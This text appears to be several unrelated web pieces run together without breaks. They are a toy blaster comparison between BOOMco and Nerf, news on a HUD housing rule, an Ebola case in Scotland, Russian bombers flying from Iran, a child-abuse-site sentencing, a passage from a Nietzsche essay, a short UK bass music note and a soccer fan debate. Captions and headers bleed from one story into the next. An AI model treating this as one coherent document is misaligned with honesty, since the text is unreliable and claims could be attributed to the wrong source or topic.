Although BOOMco blasters and Nerf blasters share a vaguely similar “toy gun” appearance with brightly-colored plastics and “extreme” lifestyle branding, there is one significant difference—BOOMco blasters use a unique, plastic-bodied dart with a tip made of their proprietary “Smart Stick” material. This unique construction makes BOOMco darts?durable, accurate, and able to stick to Mattel’s Smart Stick Targets (or coated photo paper, we found), but it also means that BOOMco darts are NOT in any way compatible with Nerf blasters. This is a point that bears repeating—Nerf guns and BOOMco guns use entirely different forms of ammunition, so they are not in any way cross-compatible.
For those who already own a large arsenal of Nerf products, this has been the most significant hurdle to BOOMco’s success. But for those who aren’t already heavily invested in Nerf, or those who are open to trying something new, they may find much to like in what Mattel has accomplished.
Does BOOMco perform better than Nerf?
In some ways, BOOMco blasters DO perform better than comparable Nerf blasters, but it depends on your priorities. We did a random sampling of 6 BOOMco blasters and 6 Nerf blasters and found some interesting results. Overall, we found that most BOOMco products don’t shoot quite as far, nor do BOOMco darts fly quite as fast, as comparable Nerf products. However, BOOMco blasters seem to often feature unique designs, and in many cases, these designs allow them to fire a series of darts much more quickly. For instance, the BOOMco Rapid Madness can fire an amazing 10 darts per second. The fastest, non-modified Nerf product we tested—the Elite 2-In-1 Demolisher—topped out at 4 darts per second.
Mattel BOOMco Range Velocity Rate-of-Fire BOOMco Dynamag 75 51 2.14 BOOMco Mad Slammer 73 53 4.16 BOOMco Rapid Madness 46 46 10.00 BOOMco Slamblast 73 68 0.57 BOOMco Twisted Spinner 63 58 3.00 BOOMco Whipblast 66 56 0.60 BOOMco Average 66 55 3.41 Hasbro Nerf Range Velocity Rate-of-Fire Nerf Elite CrossBolt 84 67 1.42 Nerf Elite Demolisher 70 73 4.00 Nerf Elite Rapidstrike 71 69 3.70 Nerf Z.S. Doublestrike 65 60 0.60 Nerf Z.S. Slingfire 63 64 1.50 Nerf Rebelle Rapid Glow 69 71 1.70 Nerf Average 70 67 2.15 Range = Maximum distance in feet with a moderate arc Velocity = Dart muzzle velocity in feet per second Rate-of-Fire = Darts shot per second
One of the most striking results of our BOOMco vs. Nerf findings concerned shot accuracy. We found BOOMco darts to be considerably more accurate over their flight paths than comparable Nerf products. Indeed, the stiff, durable BOOMco darts were significantly more accurate than every foam-based Nerf dart we tested with every blaster we had available from each brand. And while we’re on the subject of darts, it’s worth noting that BOOMco darts are very durable, since they’re made with a stiff (but bendable) plastic that doesn’t break down or come apart like traditional foam darts. The Smart Stick tips of BOOMco darts are a little gimmicky, and they don’t work on most surfaces, but then again, most Nerf darts (suction and Velcro-tipped ones, excluded) don’t stick to anything, either.
So, which blaster is better—Nerf, or BOOMco?
If you’re a Nerf fan with a huge arsenal of Nerf products, and/or if you’re just getting into toy blasters and want to know what all the fuss is about, you can’t go wrong with Nerf. More than 25 years of continuous refinement has resulted in blasters that arguably look better than anything else on the market, with a huge fan base of Nerf enthusiasts ready to trade darts or modify blasters, and a broad product line that includes everything from zombie-themed weapons to blasters made just for girls. Everyone knows the Nerf name, and we’ve seen some future products that look absolutely amazing.
But for our money, Mattel’s BOOMco brand is the one to watch. Without the shackles of history to worry about, Mattel’s designers were free to develop darts that perform better than anything else on the toy blaster market—they fly straight, they last a long time, and their slightly smaller size allows you to carry more at one time. And while the initial line-up of BOOMco products was a little on the small size and somewhat underpowered for older enthusiasts, they have quickly dropped under-performing designs, with recent examples that are every bit the equal of what Hasbro is putting out under their Nerf label in terms of aesthetics, uniqueness, and fun (even if enthusiasts haven't quite seen as much modification potential just yet).
So, if you are a Nerf fan (or you’re shopping for one), you still can’t go wrong with the vast majority of Nerf products. But if you’re just getting into the hobby, or if you already have lots of blasters but are open to trying something different, we don’t think you’ll be disappointed by what Mattel is doing with BOOMco. Nerf says it’s “Nerf or Nothin’,” but BOOMco will tell you they “Blast Better.” And on that last point, we wouldn't necessarily disagree.(AP Photo/Mark Lennihan)
The Department of Housing and Urban Development has proposed a new plan to change U.S. neighborhoods it says are racially imbalanced or are too tilted toward rich or poor, arguing the country's housing policies have not been effective at creating the kind of integrated communities the agency had hoped for.
The proposed federal rule, called "Affirmatively Furthering Fair Housing," is currently under a 60-day public comment period. Though details of how the policy would specifically work are unclear, the rule says HUD would provide states, local governments and others who receive agency money with data and a geospatial tool to look at "patterns of integration and segregation; racially and ethnically concentrated areas of poverty; access to education, employment, low-poverty, transportation, and environmental health."
States would then assess the best way to integrate communities deemed by HUD's data to not be integrated enough. A HUD official, who did not want to speak on record because of the public comment period, said the rule hopes to better match up HUD-assisted housing with the communities that have good hospitals, schools and other assets.
The move has been welcomed by civil rights groups including the National Association for the Advancement of Colored People, whose senior director of the economic department Dedrick Muhammad says the policy could result in more access to economic resources for minorities.
"It's not just having people of different colors live together just to do so," he says. "African-Americans and Latinos are more likely to live in segregated communities, that are predominantly lower income, have less strong public resources, less schools and educational opportunities, employment opportunities. This kind of integration strengthens economic equality."
But the rule has also attracted criticism from those who say the policy is idealistic and unlikely to work.
Ed Pinto, of the conservative American Enterprise Institute, told Fox News the rule was "just the latest of a series of attempts by HUD to social engineer the American people," and cited failures of the public housing and urban renewal policies of the 1950s and 1960s, and of changes to house financing in the 1990s.
HUD estimates that compliance costs would range from $3 to $9 million each year.
More News:A health care worker who returned to Glasgow from Sierra Leone on a British Airways flight less than 24 hours ago has Ebola, Scottish officials confirmed on Monday.
The patient, who was working with Ebola victims in West Africa, took a flight from Sierra Leone late Sunday night via Casablanca, Morocco and London Heathrow, arriving into Glasgow Airport on a British Airways plane around 11:30 p.m. local time. The person was admitted to the hospital about eight hours later after showing symptoms of the virus.
Scotland authorities have activated the country's infectious disease procedures and is currently working to contact every person the Ebola-infected patient came in contact with during transit. However, officials said the patient was diagnosed in the very early stages of the illness, and the risk to others is considered extremely low.
“Scotland has been preparing for this possibility from the beginning of the outbreak in West Africa," First Minister Nicola Sturgeon said in a statement. "I am confident that we are well-prepared."
The patient will soon be transferred to a high-level isolation unit (similar to the one in the photo below) in London's Royal Free hospital, a protocol that was put in place before this Ebola case.
A general view of a High Level Isolation Unit at the Royal Free hospital on Aug. 12, 2014 in London, England. Image: Dan Kitwood/Getty Images
In September, British Ebola survivor William Pooley was treated at the same London hospital, where he said he received "world-class care." Pooley, a nurse who contracted the disease while patients in Sierra Leone, is the UK's only other confirmed case of Ebola. He returned to West Africa after he recovered.
Since the Ebola outbreak began a year ago in West Africa, there have been nearly 20,000 cases and more than 7,500 deaths, mostly in Liberia, Guinea and Sierra Leone.
Some information in this report was provided by The Associated Press.MOSCOW (AP) — Russian warplanes took off on Tuesday from a base in Iran to target Islamic State fighters and other militants in Syria, Russia’s Defense Ministry said, widening Moscow’s bombing campaign in Syria in a major development in the country’s civil war.
The long-range bombers took off from near the Iranian city of Hamedan, around 280 kilometers (175 miles) southwest of the Iranian capital, and struck targets in three provinces in northern and eastern Syria.
Meanwhile, Syrian opposition activists said a wave of airstrikes on rebel-held parts of the northern city of Aleppo killed at least 15 civilians and wounded many others on Tuesday, but it was not clear whether the strikes were carried out by the Russian or Syrian government’s air force.
It is virtually unheard of in Iran’s recent history to allow a foreign power to use one of its bases to stage attacks from. Russia has also never used the territory of another country in the Middle East for its operations inside Syria, where it has been carrying out an aerial campaign in support of President Bashar Assad’s government for nearly a year.
The announcement suggests cooperation on the highest levels between Moscow and Tehran, both key allies of the embattled president.
It comes a day after Russia’s defense minister said Moscow and Washington are edging closer to an agreement on Syria that would help defuse the situation in the besieged northern city of Aleppo.
Russian Defense Minister Sergei Shoigu said the agreement would “allow us to find common ground and start fighting together for bringing peace to that territory,” adding that Russian representatives are “in a very active stage of talks with our American colleagues.”
A U.S. official said, however, that discussions with the Russians are still ongoing and no agreement is close. The official spoke on condition of anonymity because he was not authorized to talk to the media about the ongoing talks.
Russia and the United States have been discussing greater coordination for striking extremists in Syria, but they have been unable to reach agreement on which militant groups could be targeted.
Russia has criticized what it describes as U.S. reluctance to persuade the Syrian opposition groups it supports to withdraw from areas controlled by al-Qaida’s branch in Syria.
In Tehran, the state-run IRNA news agency quoted Ali Shamkhani, the secretary of Iran’s Supreme National Security Council, as saying that Tehran and Moscow have exchanged “capacity and possibilities” in the fight against the Islamic State group.
“With constructive and extended cooperation between Iran, Russia and Syria and the resistance front (Hezbollah), the situation has become very tough for terrorists and the trend will continue until the complete destruction of them,” Shamkhani said.
Russia and Iran have been expanding their ties in the past months after most of the sanctions against Iran were lifted following the nuclear deal with world powers that put restricted Iran’s nuclear program from weapons-grade capability.
A top Russian lawmaker, Adm. Vladimir Komoyedov, said Russia’s decision to use a base in Iran will help to cut costs, which is “paramount right now.”
The Russian ministry’s statement issued said Su-34 and Tu-22M3 bombers took off earlier in the day to target Islamic State and the Nusra Front militants in Aleppo, as well as in Deir el-Zour and Idlib, destroying five major ammunition depots, training camps and three command posts.
The Nusra Front is al-Qaida’s branch in Syria. However, the group recently announced it was changing its name to Fath al-Sham and severing ties with the global terror network in an apparent attempt to evade Russian and U.S.-led airstrikes. Russia and the U.S. have dismissed the name change as window-dressing.
The Russian Defense Ministry released a video showing a Russian Tu-22M3 long-range bomber dropping bombs in strikes described as “terrorist objects in Syria.”
The nearest air base to Hamedan is Shahid Nojeh Air Base, some 50 kilometers (31 miles) north of the city. The base has seen Russian aircraft land there before. A report in December by the American Enterprise Institute, based off satellite imagery, suggested the air base saw a Russian Su-34 “Fullback” strike fighter land there in late November. It said a Russian Il-76 “Candid” transport plane also landed there around the same time before both took off, suggesting the Su-34 may have suffered a mechanical issue.
The report described the air base as “quite large with a 15,000-foot (4,572-meter) runway, extensive taxiways and multiple hangars and bunkers — all seemingly in good repair.” It said it is “ideal for providing covert ground support to Russian combat missions.”
Iran’s constitution, ratified after its 1979 Islamic Revolution, bans the establishment of any foreign military base in the country. However, nothing bars Iranian officials from allowing foreign countries to use an airfield.
The announcement from Russia marks the first significant stationing of its troops there since World War II, when allied British and Soviet forces invaded Iran to secure oil fields and keep Allied supply lines open.
Russia says its bombing campaign in Syria is focused on extremist groups but it has frequently struck other, including more moderate rebels fighting Assad’s forces.
Last week, Russian bombers launched a wave of airstrikes on the city of Raqqa, the Islamic State group’s de factor capital in northern Syria, killing at least 20 civilians according to Syrian opposition activists.Jason Gmoser (Photo: Provided)
The son of Butler County's elected prosecutor helped run "the largest and most sophisticated members-only child pornography website in existence," according to documents filed as part of Jason Gmoser's sentencing.
Gmoser, the 36-year old son of Butler County Prosecutor Mike Gmoser, was sentenced Friday in federal court in Illinois to life in prison plus 50 years.
The documents outline Jason Gmoser's role in an online bulletin board that federal prosecutors said was dedicated to the advertisement and distribution of child pornography and catered to child pornography producers who actively abused children. The site had nearly 30,000 members.
Officials said Gmoser, of Hamilton, was part of a five-man ring that began operating in May 2012. He was found guilty in February after a one-week trial of three child pornography counts. Court records show he tried unsuccessfully to plead not guilty by reason of insanity. According to court documents, he supported that defense by showing he had been diagnosed with a "pervasive developmental disorder."
The site operated on an anonymous network, called "Tor," and required users to upload and share child pornography to gain and keep membership or advance in status, prosecutors said.
Gmoser, prosecutors said, was a moderator who reprimanded members for posting the same material twice and managed "VIP upgrades." He also "promoted members," prosecutors said, giving them "more access to the fruits of the organization."
Prosecutors said Gmoser's personal collection of thousands of images included some "of the most gruesome and violent images of child pornography torture available." He protected that collection, they said, with an elaborate encryption program "designed to thwart law enforcement."
Prosecutors also said Gmoser coerced and enticed multiple children online to produce sexually explicit images in exchange for "monetary gifts."
In a statement to his own expert and in postings and messages to his co-conspirators, prosecutors said Gmoser claimed "that there is nothing wrong with adults having sexual contact with minors. He also said he wanted to change laws "designed to protect children from abuse."
NEWSLETTERS Get the News Alerts newsletter delivered to your inbox We're sorry, but something went wrong Be the first to be informed of important news as it happens in Greater Cincinnati. Please try again soon, or contact Customer Service at 1-800-876-4500. Delivery: Varies Invalid email address Thank you! You're almost signed up for News Alerts Keep an eye out for an email to confirm your newsletter registration. More newsletters
The initial indictment said Gmoser crossed state lines to engage in sex with a minor under the age of 16. In documents filed in advance of the sentencing, prosecutors said he "blamed his sexual abuse of a minor on mental illness."
Mike Gmoser said at the time of his son's October 2014 arrest that his son had battled severe mental illness since he was a child. He could not be reached for comment about the sentencing.
During a 2014 news conference, the prosecutor said he and his wife adopted their only son when he was 7 months old despite being warned he could later experience psychological problems because his mother was barely a teen and the father was unknown.
"We adopted him hoping and praying for a good result. He was truly special in certain ways, some exceptionally good... some exceptionally difficult," Mike Gmoser said. He described his son as a computer programmer.
At the time, he revealed his son struggled with marijuana and spent time in a psychiatric ward and Texas residential treatment center after accusations he inappropriately touched a boy.
|
the age of fourteen until shortly before (and after) his collapse at the age of forty-five. There is no acknowledged poetry or writing from his last ‘poetic’ letters until his death eleven years later in 1900. Poetry had always been there, however, and much of it was included or woven into his published works (many of his aphorisms were originally poems written in his many notebooks, cf. Wittgenstein) – in some cases as explicit word for word ‘translations’. Not to mention his aphoristic style which could be interpreted as a morphe of poetry.
What I am claiming instead is that Nietzsche exists as a thinker upon a poetic topos that serves as his topos of expression, his dwelling – a constellation of limit horizons – rendering the supposed necessity of a ‘system’ unnecessary. But, there is more to the story than this – Nietzsche seeks to re-value poetry in the face of the millennial pressure of Platonic metaphysics, of the radical suppression of the Dionysian (and with him, his brother Apollo, as they are displaced by the ‘naturalist’ and ‘rationalist’ schemas of body and mind). And, as we have seen, Schopenhauer enacts the apotheosis of nihilism in his own denial of Will – thus announcing the end of ‘modern’ philosophy.[24]
A significant difference between Schopenhauer and Nietzsche in the first instance is that constellation into which each is tapping. We have already seen that Schopenhauer taps into the East. Nietzsche plumbs the “Greeks”, but not just any Greeks, but the early Greek thinkers, the poets, epic, lyric and Tragic which he explored in the context of his Birth of Tragedy and Philosophy in the Tragic Age of the Greeks.
Tragedy, indicates, for Nietzsche, a deep phenomenon of existence – as for Chirico (and his brother Savinio), the uncertainty of the poet. The Dionysian effervescence of musical existence, of love/hate (Empedocles) becomes expressed in the fluxuating image, in our words, our thoughts, in this ‘our’, in the discrete individual and of the tenuousness of dreams. For Schopenhauer, it was at first that the Will which seemed to hold all the truth – to the exclusion of the Principle. Then, he denies the Will – what are we to think of this exclusion in this light? Are we not already beyond the Principle?
Nietzsche seems to be in a transfigured place, as if the two dimensions (as with Leibniz, Kant and Schopenhauer) are maintained, but upon a space which is other than reason (or, philosophy in the restricted economy) in its pseudo-traditional sense (similar to an imaginary ‘Wittgenstein’ who had given up his narrow logically positivistic conception of philosophy). For Nietzsche, the ‘game’ is different, but for him, it is still ‘philosophy’, and must be as he expresses the honesty of existence, our youngest virtue.
For Nietzsche, the principle of individuation becomes that of the Apollonian, the plastic expression of the underlying Dionysian, itself an analogue of the ‘Will’, fermenting in the underground beneath this principle of order, of individuation and dreams. Yet, for Nietzsche, the significance of the Schopenhaurian position(s) is/are radically altered as the Apollonian becomes a realm of redemption, or temporary escape from the communion of the Dionysian – ‘individuation’, the self, is no longer seen as that which is determined by the principle of individuation under the principle of reason, but as the fruition of the novel sublimation of the Dionysian amidst expressive (Apollonian) existence. We still have two ‘things’, as Aristotle would say, but these two things in Nietzsche have a distinct kinship that affirms existence amid the ‘act’ and, as it is this event that is the root of the ‘two’.
Dionysus comes ‘historically’ before Apollo, but it is not until the latter that we witness his birth, demise and rebirth, amid music, dance, drama – in the emergence of the tragic hero – the one who must die before our eyes – in the disclosure of the truth, the radical uncertainty, temporality, of existence.
That which is most significant is the status and trajectory of Nietzsche’s genealogies. The Birth of Tragedy is not a mere commentary upon ‘Greek’ tragedy as an art form, but is a philosophical statement upon existence as such. In this context, we can understand Nietzsche’s criticism of Socrates (Plato, especially in his Twilight of the Idols) and the New Attic comedy of Euripides, in its preference for a theoretical premise and a performative moralism in which the Dionysian, uncertainty, is suspended, in uncertainty, instead of being the heart of existence. Feeling is made into a disease and un-ease that can be cured, as if by therapy (Wittgenstein in his later works, Socrates in his sacrifice to Asclepius for the long sickness of life, and Schopenhauer’s denial of the Will). In the Birth of Tragedy, Nietzsche contends that this theoretical optimism is in its face a symptom of decline, as it has cut itself off from its roots in existence, amid the Dionysian. Such nihilistic ‘optimism’ reaches its apex in Plato, but for Nietzsche such a height is irretrievably wedded to the depths – the dismissal and suppression of the Dionysian was the decline of the Greece into the pedestrian theoria of Plato in a divided world.[25]
But, what is modernity other than ‘theoretical man’? Our states are not even our own, but mimic, Plato’s polis – for ‘us’, it is more police and politician-lawyers, eugenics, the actors of the theatre of the comedy of ‘theoretical man’, the Last Man of nihilism. Amid the topos of the comedy of nihilism, that which is most significant philosophically is the trajectory of the principle of individuation, and its ‘other’, in its many transmutations from a principle of god, to a bundle, to a double-headed thing, to a will and representation — and finally to the Dionysian and Apollonian.[26] But it is the ‘theoretical man’ and the counter insurgency against tragedy, the cultural cleansing against mortality and the dramatic event of uncertainty, suspense – and of its inclusion in ‘philosophy’ – that is the background of prohibition, taboo – and, of the transgressions that will come.
It is Thus Spoke Zarathustra, as a poetic expression of existence, that demonstrates in itself its own possibility – amidst actuality and existence. It would be the place of the unhistorical, of creativity, as in the Uses and Disadvantages of History for Life that poetry finds its topos of expression, one that is expressed prior to the antiquarian, monumental, and critical senses of ‘history’. In this way, Thus Spoke Zarathustra is the unhistorical/untimely resistance of the Dionysian – the destruction of the household, of property, possessions, of ousia. Yet, Apollo, in Nietzsche’s ‘world’ is not abandoned, but dramatically withdraws from explicit prominence in the wake of the writing and dream world of the work itself. It is in this sense that Thus Spoke Zarathustra is the retrieval of tragedy, as it is the articulation of a radical affirmation of life, existence, amid the poetic necessity of death, destruction, decay and radical ‘untruth’ – most primordially, the call of poetry, music…
‘The wreckage of stars – I built a world from this wreckage’[27]
It is amid this wreckage that one stands in the gateway of the moment. ‘I’ – just a useful ‘sign’ for myself. ‘I’ forget the abyss of infinities so as to affirm this moment of vision. ‘I’ bite off the head of the snake that chokes me, so that ‘I’ can breathe. The ‘higher men’ come, visit my cave – but ‘I’ seek good air, the opening of the night, upon the edge of a cliff. ‘I’ express myself amid my own existence, life. In this darkness, it no longer seems so insane that a ‘saying’ must take place within a logical syntax and ‘grammar’ of ‘God’. If The Birth of Tragedy said it, then Thus Spoke Zarathustra showed it.
Indeed, we seek to escape the ‘reason’ for this distinction – we at the same time seek to express ourselves (to transcend the constructions of a merely Analytic voyeur) – amid a philosophy which could express the truth and lies of our own insurmountable existence. Yet, despite my death, ‘I’ still seek to express this existence in its uncertainty and recurrent shadows.
[1] Nietzsche, F. (2003) ‘Through the Circle of the Dionysos Dithyrambs’, poem 12, The Peacock and the Buffalo: The Poetry of Nietzsche, Trs. J. Luchte and E. Leadon, Wales: Fire & Ice Publishing.
[2] Ibid., p. 106.
[3] There have been a few significant works in the English speaking ‘world’ which have begun to regard Thus Spoke Zarathustra as a ‘philosophical’ work, such as those of Lampert’s Nietzsche’s Teaching and Higgins’ Nietzsche’s Zarathustra, for instance. Such a consideration does not even begin to address, however, the significance of Heidegger’s Nietzsche, Bataille’s On Nietzsche, Blanchot’s The Step Not Beyond, etc. In light of the work that has been and is being done on Zarathustra, we may wish to suspend, bracket the preceding and questionable diagnosis so as to allow for differing perspectives to emerge. Indeed, in light of Foucault, even this seeming iron clad concept of ‘madness’ has become problematic… as are all concepts, intuitions and names, which for Heraclitus and Derrida, are, each and all, in flux.
[4] The question could be asked if such a method of madness ala Klossowski, is not the mere negative image of the logicist suppression of madness (and poetry), as the Jester to the King, (or, the children of impotent revolt as outlined in the Egyptian Book of the Dead, who merely defaced simulacrums of power (Baudrillard).
[5] It would be illuminating, in this context, to refer to the Memoirs of Socrates of Xenophon, and his differing portrayal of Socrates.
[6] It is interesting that with the Renaissance, often associated with neo-Platonism, in the wake of the Islamic diffusion, it was hard times for poets. It would be interesting to explore the traces of the European subjugation of free poetic expression (in terms of knowledge) and the Islamic codification and regulation of the Arabic language from the 7th and 8th centuries (with the intention that the Qu’ran would be able to be read and understand for all times). Yet, such an identification of the future necessitates a regimentation of language, and a proscription of differing languages as these would, so to speak, introduce temporality into the eternal language of the Qu’ran. In light of his analyses in Arabic Poetics, Adonis (Ali Ahmad Said Asbar) allows us to understand the background of the precise determination of Arabic that was enacted after the Islamic conquest (Bataille, Accursed Share, Vol. 1). In this way, we can, for instance, fathom the reasons for the proscription and marginalisation of the Sufis, for instance. At the same time, we must trace these genealogies (in a similar way as Nietzsche and Foucault) as indications of the effects of power in language, and language as an effect of power – but in the context of the operations of language in the reinforcement of power in the Western political economic and cultural zone of events.
[7] For a detailed treatment of this ‘dispute’, cf. Luchte, “Martin Heidegger and Rudolf Carnap: Radical Phenomenology, Logical Positivism and the Analytic/Continental Divide”, Philosophy Today, Fall 2007.
[8] In the wake of Carnap’s error to attempt to say the limits of philosophy (which would imply that he could be on this and that side of the limit in a “philosophical” way), we have happened upon the site, as Nietzsche had already done, of the questions of meta-philosophy. This is one that speaks to us, in the current period, amid the waning hegemony of Analytic philosophy and the uncertainty of Continental philosophy – and of the relevance of each of these ‘traditions’ as they stand in separation. Perhaps, all of this, however, will be blown away once we open our eyes to the myriad forms of philosophy in the New Europe, the Middle East, China, the Americas, Africa – the world.
[9] It is highly significant that Wittgenstein eventually rejected not only Logical Positivism, but also, in a certain way, his early philosophy as articulated in his Tractatus-Logico-Philosophicus. His main criticism of Carnap, for instance, which is even problematic in terms of the latter early work, was that his criteria of application sought to say that which could not be said. Indeed, the very possibility of limiting the ways of expression in philosophy is questionable, especially, once such a work is produced, as for instance Thus Spoke Zarathustra, its own possibility as philosophical expression is shown. It is also interesting in this regard that Wittgenstein, when he did attend the meetings of the Vienna Circle, sat with his back to the circle and read poetry.
[10] Nietzsche, as with Heidegger, is not seeking an exit from Plato’s cave into the unambiguous light (just another metaphor, transference, picture), and it is plausible to suggest that the later Wittgenstein, in this event, comes into agreement with each of these. Yet, Heidegger would still assert the ontological difference as the last word on the matter cannot be the in-authenticity of the ‘they’, of mere generic use of the Anyone (Das Man). But, obverse to the perspective of the resolute Self, there is the affirmation that the Self is the self-expression, the destining of Being. For Heidegger, the Self is now own-ly in it being claimed by being, and in his articulation of the ‘truth’ of Being, his building on the house of Being. Perhaps comparisons between Derrida, the early and later Wittgenstein and Heidegger may be traced in this context, like the patterns drawn out in the Cave. Yet, it is not comparisons/contrasts that we need – we must instead enter into the question itself – a ‘thought’ that can be detected in Nietzsche, Wittgenstein, and Heidegger.
[11] This could be compared to the relationship between Heidegger and Wittgenstein, the former seeking to stay within the question, the latter wishing to put the questions aside, to be relieved of them, seeing in them only confusion, unmasking the picture animating the question, psychoanalytically.
[12] Though this may begin with Anaxagoras and his Mind (nous); in truth, he is the initiator of the discursive formation: “Philosophy of Mind”. As the teacher of Socrates, one would expect more notice of this seminal philosopher. Yet, he, as with the other so-called “pre-socratics” have suffered a long beating since Plato and Aristotle until the footnote Whitehead et al. – It is in the German tradition that the early Greek thinkers have been most studied.
[13] Of course, we already know this much from the Physics of Aristotle, in his ‘Four Causes’, and in his ‘entelechy’, the motive force of actuality.
[14] Of course, Quine, very early on, sought to break down the distinction between analytic and synthetic judgments, despite his trivialisation of language in his reduction of all discourse to statements of ‘and’ and ‘or’. And, this is not even to raise the question of Wittgenstein, despite the fact that this question is always open.
[15] Luchte, J. (2006) ‘Mathesis and Analysis: Finitude and Infinite in the Monadology of Leibniz’, London: Heythrop Journal.
[17] For solid introductory discussions of these issues, see Beiser, F. (1987) The Fate of Reason, Harvard: Cambrıdge, Mass. and Frank, M. (2004) The Philosophical Foundations of Early German Romanticism, SUNY: Albany.
[18] Yet, the question of the imagination (especially of the transcendental imagination) unmasks Kant’s work as yet another suppression of the domain of existence, temporality (which is perhaps characteristic of all philosophers since Anaxagoras). In each of these names, imagination either intimates primordial powers of the soul, but only in darkness, in the allusions in their writings to the ‘unknown’. It is never the ‘first’, except in theology, but then, it is ‘God’…
[19] Is it significant that Schopenhauer never had a ‘family’, a situation of a will to live? This is despite the fact of his deep misogyny, which is grounded upon the idea that woman as the giver of birth is, in at once and in truth, the giver of death. Schopenhauer denies the Will (Woman), but life goes on… for others – and he admitted this as such, as the will to live, as he guides us elsewhere toward the truth of the beautiful and sublime through an aesthetic phenomenology of existence. Yet, at the end of the day, he denies the Will (woman, truth) for good reason.
[20] At the same time, it is always forgotten that Nietzsche undertook extensive work upon the early Greek thinkers (the so-called pre-socratics, but including Theognis, Homer, Archilochus, Hesiod, Sappho, Aeschylus, Sophocles, et al.; and, it should be said, Schopenhauer had no overwhelming preference for ‘Early Greek’ thinking, as he had a decided preference for the Hindu and Buddhist traditions). Nietzsche’s alleged preference for ‘Greece’ (a terribly ambiguous name) also underpins the supposed severance of an ‘early’ and ‘later’ Nietzsche. But, to delve into the topos which is repeatedly articulated as ‘Greece’, we could state that Nietzsche diagnosed the sickness of ‘Greece’, and, described its death as a descent from tragedy to dialogue to farce.
[21] His later aphorisms have been set forth as evidence of the ‘pulverised Kantianism’ (Richard Bernstein) – of a non-philosopher. These are the fragments of ruined promises – a failed, still-born, philosopher (who perhaps may still keep us honest, as did Lichtenburg and La Rochefoucauld).
[22] The Birth of Tragedy must not be regarded as a work of juvenilia (or, as a work which he later rejected, a failed philosophy), but should be read as a sophisticated criticism and proposed displacement of nearly two and a half millennia of the hegemony of Platonist-Aristotelian-Judeo-Christian-Islamist-Modernist ‘theoretical’ order of ‘things’, of ‘metaphysics’.
[23] Yet, it would be possible to not register this overthrow, if we fail to come to terms with the poetry of Thus Spoke Zarathustra, as an attempt to overcome the ‘grammar’ of post-platonic philosophy, of metaphysics, nihilism – in other words, the language of reason and the ‘theoretical man’.
[24] It is not Nietzsche’s quest, however, to merely let neutered poets back into the polis, but instead to strengthen the poets on the ‘outside’ (and upon the ‘inside’), on the streets and in the towers, with the wish to subvert the polis–economy, and its sprawling homogeneity.
[25] There has never been a true ‘renaissance’ – one not under the thumb of some monotheism – Judaism, Christianity, Islam – in its “totality”, a dysfunctional, violent, polytheism, with no hope of inclusivity as they worship the principle of the One, and practise the eschatology of order. For Nietzsche, Plato was the publicist of the theoretical man, who like Paul, after his event on the ‘road to Damascus’ sought to proselytize the masses – or, as Nietzsche contends, Christianity is ‘Platonism for the people’.
[26] After the apocalyptic Augustine (Pagan then Christian neo-platonism) and the Aristotelianism of Aquinas, it seems that Descartes has resurrected a form of Platonism, even if strategically against the Schoolmen, of which he was in no way part (but, maintained most of its dogma). Not only does Descartes diminish the body to res extensa, but the very acceptance of his regime immediately forbids questions of existence and of the ecstatic possibilities of the soul and body within this makeshift context.
[27] Nietzsche, F. (2003) The Peacock and the Buffalo: The Poetry of Nietzsche, trs. J. Luchte and E. Leadon, Wales: Fire & Ice Publishing, p. 106.The final part of this series in garage explores the evolution of UK Bass: Future garage & Post-Dubstep.
Bored with the mid-range culture of the growing Dubstep scene, producers like Whistla recreated the early Dubstep scene with influences from old-school Jungle and Deep House. Call it Future Garage. Imagine Zed Bias opening for Armin van Buuren. Also known as FG, this scene is influential at giving comebacks to 90's Garage producers like El-B and MJ Cole and is one of the most exciting scenes in today's dance music
Post-Dubstep is actually Future Garage with an indie audience and a following in festivals like SXSW in Austin. Producers like Mount Kimbie and Jamie XX are pioneers of this scene, using indie rock influences into 2-step tunes which is basically the ideal concept of Post-Dubstep. It's pretentious, but it's still a scene that has a following amongst people who listen to Wiley and Hot Chip.Now winless in six, it looks as though the New England Revolution could be amidst their annual summer swoon. With this in mind, we explore whether or not Revs fans should panic. Let's take a look at the arguments.
Jon: YES
The Revolution may sit near the top of the Eastern Conference standings, but the picture is not so positive right now for them. They haven't won a game since the May 2nd 2-1 victory over the New York Red Bulls and their last six results reads like this: four draws and two losses. For a team that aspires to win MLS Cup and make a run in the Open Cup, a stretch of form like that just isn't good enough. Late goals allowed, an inability to hold a lead, not fishing chances, and injuries/suspensions all may be offered up as excuses, but there really isn't room for them.
Add in the fact that Jay Heaps' teams tend to fall into a summer slump and a panicked reaction is all that more justified. Every Revs fan is crossing their fingers and praying that something like that doesn't play out this year, but things appear to be on the brink of spiraling in that direction. Most importantly of all, this team has the potential to own the Eastern Conference. It's time for them to start playing like it.
Seth: NO
Anyone who’s ready to push the panic button needs perspective.
The Revolution are currently positioned second in the Eastern Conference with 21 points. Though most teams below them have games in hand, the Revs are still in the thick of things and could realistically finish atop the Eastern Conference or as the Supporters’ Shield winners. Philadelphia head coach Jim Curtin explained it best on this week’s edition of ExtraTime Radio when he said, "All you have to do is look at the table of the Western Conference and the Eastern Conference [to realize that] you’re always a two- to three-game win streak away from making some moves in there."
Besides, things really aren’t that bad for the Revolution. The team has a wealth of talented players that simply aren’t producing right now. Things will be fine if/when Lee Nguyen, Kelyn Rowe or Diego Fagundez get going. Even without these attackers playing at their best, the Revs have consistently found goals as Saturday night was the first time since Apr. 11 that the club was shu tout. Defensively, it’s about cleaning up the mistakes. Besides the Sporting Kansas City debacle, the goals that the Revs have allowed recently have been due to mental lapses that should be erased with time.
The Revolution's current run is more disappointing than the Entourage Movie (I saw it this weekend), but this isn’t 2011. So, breath and have faith.
Jake: NO, at least wait until the Gold Cup
The Revolution are among the deepest teams in the East and it's not like anyone is running away with the Conference at the moment. Yes, Toronto has a lot of games in hand but D.C. United and the New York Red Bulls are in similar runs of form as New England. The Revs survived the first part of the season with Jermaine Jones filling in at center back for the injured Jose Goncalves and now have to get through the Gold Cup without Jones'' much needed presence in the midfield. Last year the Revs headed into August in a similar situation and vaulted up the standings with a terrific run to end the season and there's plenty of indications that they can do the same this year. We all expect Nguyen to find some of his MVP form and a few lights-out performances from Goncalves, Jones and Nguyen all in the same lineup would be a welcome sight in August.
Matty: NO, at least not yet
When wondering about whether or not you should have to panic, it all comes down to what your expectations were for this team at the start of the season. Personally, I fully believed this team had everything it needed to make another deep run into the playoffs.
That being said, they are still poised to do just that, even with the recent dip in form. We all remember that last year there was a rather lengthy winless drought in the middle of the season as well.
